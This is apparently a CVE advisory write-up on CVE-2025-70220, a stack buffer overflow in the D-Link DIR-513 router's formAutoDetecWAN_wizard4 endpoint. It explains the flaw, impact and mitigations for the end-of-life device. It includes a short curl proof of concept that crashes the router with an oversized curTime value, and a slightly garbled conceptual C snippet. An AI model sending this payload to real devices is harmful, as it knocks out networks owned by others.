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The vulnerability CVE-2025-70220 is a stack-based buffer overflow found in the firmware of the D-Link DIR-513 router, specifically version 1.10. The flaw resides in the `goform/formAutoDetecWAN_wizard4` endpoint, which is part of the router’s web-based management interface. The vulnerability is triggered through improper handling of the `curTime` parameter. When the device receives a POST request to this endpoint, the `curTime` value is copied into a fixed-size buffer on the stack using an unsafe function like sprintf, without adequate bounds checking . By supplying an extremely long string for the `curTime` parameter, an attacker can overflow the buffer, overwriting adjacent memory regions such as the return address on the stack. This memory corruption can be leveraged to hijack the program’s execution flow, allowing an unauthenticated, remote attacker to execute arbitrary code with root privileges on the device or cause a denial of service . The vulnerability is particularly critical because it requires no authentication and can be triggered over the network.
dailycve form:
Platform: D-Link DIR-513
Version: v1.10
Vulnerability :Stack Buffer Overflow
Severity: Critical (9.8)
date: March 4, 2026
Prediction: No patch (EOL)
What Undercode Say:
Analytics:
The D-Link DIR-513 is an end-of-life (EOL) device no longer supported by the vendor. Attackers are actively scanning for and exploiting these vulnerabilities in multiple endpoints (formAutoDetecWAN_wizard4, formSetWanNonLogin, formSetQoS, etc.) to build botnets. The disclosure of technical details and proof-of-concept code on platforms like GitHub has lowered the barrier to entry for malicious actors .
Exploit:
The core of the exploit lies in manipulating the `curTime` parameter. Below is a representation of the vulnerable code pattern and a proof-of-concept curl command.
Vulnerable Code Snippet (Conceptual):
// Vulnerable function handling formAutoDetecWAN_wizard4
char buffer[bash]; // Fixed-size stack buffer
char curTime_value = get_param("curTime"); // Get user input
// Unsafe copy: No length check
sprintf(buffer, "some_string?t=%s", curTime_value);
Proof-of-Concept (PoC) Curl Command:
!/bin/bash
PoC for CVE-2025-70220 - Causes Denial of Service (Device Crash)
TARGET="http://<ROUTER_IP>/goform/formAutoDetecWAN_wizard4"
Generate a long string to overflow the buffer (e.g., 1000 'A's)
PAYLOAD=$(printf 'A%.0s' {1..1000})
curl -X POST $TARGET \
-d "curTime=$PAYLOAD"
Protection from this CVE:
Since the device is EOL and no official patch will be released, protection requires workarounds:
1. Isolate the Device: Immediately disconnect the D-Link DIR-513 from the internet and place it on a physically isolated network segment.
2. Disable Remote Management: Ensure that the web interface is not exposed to the public internet (WAN side).
3. Access Control: Implement strict firewall rules to allow access to the router’s management interface only from trusted internal IP addresses.
4. Retire the Hardware: The most effective solution is to replace the end-of-life DIR-513 with a newer, supported router that receives regular security updates.
Impact:
Successful exploitation allows a remote, unauthenticated attacker to gain full control over the router. This can lead to:
– Complete System Compromise: The attacker can execute arbitrary code, effectively owning the device.
– Botnet Recruitment: The router can be enslaved into a botnet to launch DDoS attacks or perform other malicious activities.
– Data Theft: Network traffic can be monitored, modified, or redirected to capture sensitive information.
– Persistent Access: Attackers can install malware to maintain persistent access even after reboots.
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Sources:
Reported By: nvd.nist.gov
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